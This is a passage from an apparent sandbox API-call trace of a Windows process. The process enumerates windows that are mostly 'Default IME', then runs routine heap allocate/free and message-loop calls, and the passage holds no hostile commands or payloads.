lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.057] GetWindowTextW (in: hWnd=0x102ce, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.057] GetClassNameW (in: hWnd=0x102ce, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.057] GetWindowTextW (in: hWnd=0x102cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.057] GetClassNameW (in: hWnd=0x102cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.057] GetWindowTextW (in: hWnd=0x102ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.057] GetClassNameW (in: hWnd=0x102ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.057] GetWindowTextW (in: hWnd=0x102c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.058] GetClassNameW (in: hWnd=0x102c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.058] GetWindowTextW (in: hWnd=0x102c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.058] GetClassNameW (in: hWnd=0x102c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.058] GetWindowTextW (in: hWnd=0x102c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.058] GetClassNameW (in: hWnd=0x102c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.058] GetWindowTextW (in: hWnd=0x102c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.058] GetClassNameW (in: hWnd=0x102c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.058] GetWindowTextW (in: hWnd=0x102c0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.058] GetClassNameW (in: hWnd=0x102c0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.059] GetWindowTextW (in: hWnd=0x102be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.059] GetClassNameW (in: hWnd=0x102be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.059] GetWindowTextW (in: hWnd=0x102bc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.059] GetClassNameW (in: hWnd=0x102bc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.059] GetWindowTextW (in: hWnd=0x102ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.059] GetClassNameW (in: hWnd=0x102ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.059] GetWindowTextW (in: hWnd=0x102b8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.059] GetClassNameW (in: hWnd=0x102b8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.059] GetWindowTextW (in: hWnd=0x102b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.060] GetClassNameW (in: hWnd=0x102b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.060] GetWindowTextW (in: hWnd=0x102b4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.060] GetClassNameW (in: hWnd=0x102b4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.060] GetWindowTextW (in: hWnd=0x3013c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.060] GetClassNameW (in: hWnd=0x3013c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.060] GetWindowTextW (in: hWnd=0x401ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.060] GetClassNameW (in: hWnd=0x401ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.060] GetWindowTextW (in: hWnd=0x102ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.061] GetClassNameW (in: hWnd=0x102ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.061] GetWindowTextW (in: hWnd=0x102a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.061] GetClassNameW (in: hWnd=0x102a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.061] GetWindowTextW (in: hWnd=0x1029e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.061] GetClassNameW (in: hWnd=0x1029e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.061] GetWindowTextW (in: hWnd=0x10296, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.061] GetClassNameW (in: hWnd=0x10296, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.061] GetWindowTextW (in: hWnd=0x1028c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.061] GetClassNameW (in: hWnd=0x1028c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.061] GetWindowTextW (in: hWnd=0x1028a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.062] GetClassNameW (in: hWnd=0x1028a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.062] GetWindowTextW (in: hWnd=0x10280, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.062] GetClassNameW (in: hWnd=0x10280, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.062] GetWindowTextW (in: hWnd=0x10276, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.062] GetClassNameW (in: hWnd=0x10276, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.062] GetWindowTextW (in: hWnd=0x1026c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.062] GetClassNameW (in: hWnd=0x1026c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.062] GetWindowTextW (in: hWnd=0x10262, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.063] GetClassNameW (in: hWnd=0x10262, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.063] GetWindowTextW (in: hWnd=0x10258, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.063] GetClassNameW (in: hWnd=0x10258, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.063] GetWindowTextW (in: hWnd=0x10256, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.063] GetClassNameW (in: hWnd=0x10256, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.063] GetWindowTextW (in: hWnd=0x10248, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.063] GetClassNameW (in: hWnd=0x10248, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.063] GetWindowTextW (in: hWnd=0x10242, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.064] GetClassNameW (in: hWnd=0x10242, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.064] GetWindowTextW (in: hWnd=0x10232, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.064] GetClassNameW (in: hWnd=0x10232, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.064] GetWindowTextW (in: hWnd=0x10230, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.064] GetClassNameW (in: hWnd=0x10230, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.064] GetWindowTextW (in: hWnd=0x10228, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.064] GetClassNameW (in: hWnd=0x10228, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.064] GetWindowTextW (in: hWnd=0x10212, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.065] GetClassNameW (in: hWnd=0x10212, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.065] GetWindowTextW (in: hWnd=0x10210, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.065] GetClassNameW (in: hWnd=0x10210, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.065] GetWindowTextW (in: hWnd=0x1020c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.065] GetClassNameW (in: hWnd=0x1020c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.065] GetWindowTextW (in: hWnd=0x2012e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.065] GetClassNameW (in: hWnd=0x2012e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.066] GetWindowTextW (in: hWnd=0x60316, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.066] GetClassNameW (in: hWnd=0x60316, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.066] GetWindowTextW (in: hWnd=0x5007c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.066] GetClassNameW (in: hWnd=0x5007c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.066] GetWindowTextW (in: hWnd=0x101d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.066] GetClassNameW (in: hWnd=0x101d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.066] GetWindowTextW (in: hWnd=0x101c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.066] GetClassNameW (in: hWnd=0x101c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.066] GetWindowTextW (in: hWnd=0x101a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.067] GetClassNameW (in: hWnd=0x101a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.067] GetWindowTextW (in: hWnd=0x1018a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.067] GetClassNameW (in: hWnd=0x1018a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.067] GetWindowTextW (in: hWnd=0x100fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.067] GetClassNameW (in: hWnd=0x100fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.067] GetWindowTextW (in: hWnd=0x100fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0137.067] GetClassNameW (in: hWnd=0x100fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0137.067] GetWindowTextW (in: hWnd=0x100f0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.067] GetClassNameW (in: hWnd=0x100f0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.068] GetWindowTextW (in: hWnd=0x100e4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.068] GetClassNameW (in: hWnd=0x100e4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.068] GetWindowTextW (in: hWnd=0x20074, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.068] GetClassNameW (in: hWnd=0x20074, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.068] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0137.068] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.068] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0137.068] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.068] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0137.068] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0137.068] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0137.068] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0137.068] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0137.068] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 1 [0137.069] TranslateMessage (lpMsg=0xbdf794) returned 0 [0137.069] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0137.069] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0137.069] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0137.069] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.069] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0137.069] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.069] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.069] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.069] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.069] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.069] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.069] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.069] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0137.069] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0137.118] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.118] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.118] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0137.118] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.118] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.118] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0137.118] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.118] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0137.118] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.119] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0137.119] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.119] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.119] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.119] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.119] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.119] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.119] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.119] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0137.119] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.120] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0137.120] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.120] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.120] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0137.120] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.120] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.120] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0137.120] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.120] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0137.120] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.121] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0137.121] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.121] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.121] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.121] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.121] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.121] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.121] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.121] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0137.121] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0137.122] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.122] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.122] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.122] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.122] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0137.122] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0137.123] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.123] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.124] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.124] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.124] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.124] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.124] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0137.124] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0137.125] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.125] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.125] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.125] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.125] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0137.125] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0137.125] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.125] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0137.126] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0137.126] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0137.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0137.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0137.127] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.128] 